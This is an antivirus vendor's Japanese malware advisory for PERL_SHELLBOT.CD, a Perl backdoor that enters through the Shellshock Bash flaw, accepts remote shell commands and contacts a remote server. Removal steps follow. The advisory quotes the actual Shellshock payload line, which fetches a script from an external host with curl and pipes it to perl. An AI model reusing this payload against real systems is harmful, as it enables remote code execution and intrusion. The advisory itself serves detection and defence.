Trend Micro Security

PERL_SHELLBOT.CD

2014年9月27日
 解析者: Mark Joseph Manahan   

 別名:

Perl/BackDoor-CXY.gen (McAfee), Backdoor:Perl/Small.B (Microsoft)

 プラットフォーム:

Unix, Linux, Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: バックドア型
  • 破壊活動の有無: なし
  • 暗号化: なし
  • 感染報告の有無: はい

  概要


マルウェアは、不正リモートユーザからのコマンドを実行し、感染コンピュータを改ざんします。 マルウェアは、特定のWebサイトにアクセスし、情報を送受信します。


  詳細

ファイルサイズ 635 bytes
タイプ Script
メモリ常駐 はい
発見日 2014年9月27日
ペイロード システムセキュリティへの感染活動

侵入方法

マルウェアは、以下の方法でコンピュータに侵入します。

  • BashBug/Shellshock / CVE-2014-6271
  • --> ( :;); /bin/bash -c "curl hxxp://r.cc.st/bc.pl | perl"

バックドア活動

マルウェアは、不正リモートユーザからの以下のコマンドを実行します。

  • Remote Shell Command

マルウェアは、以下のWebサイトにアクセスし、情報を送受信します。

  • {BLOCKED}.{BLOCKED}.198.65:443


  対応方法

対応検索エンジン: 9.700
初回 VSAPI パターンバージョン 11.176.03
初回 VSAPI パターンリリース日 2014年9月27日

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

最新のバージョン(エンジン、スパイウェアパターンファイル)を導入したウイルス対策製品を用い、スパイウェア検索を実行してください。「PERL_SHELLBOT.CD」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


ご利用はいかがでしたか? アンケートにご協力ください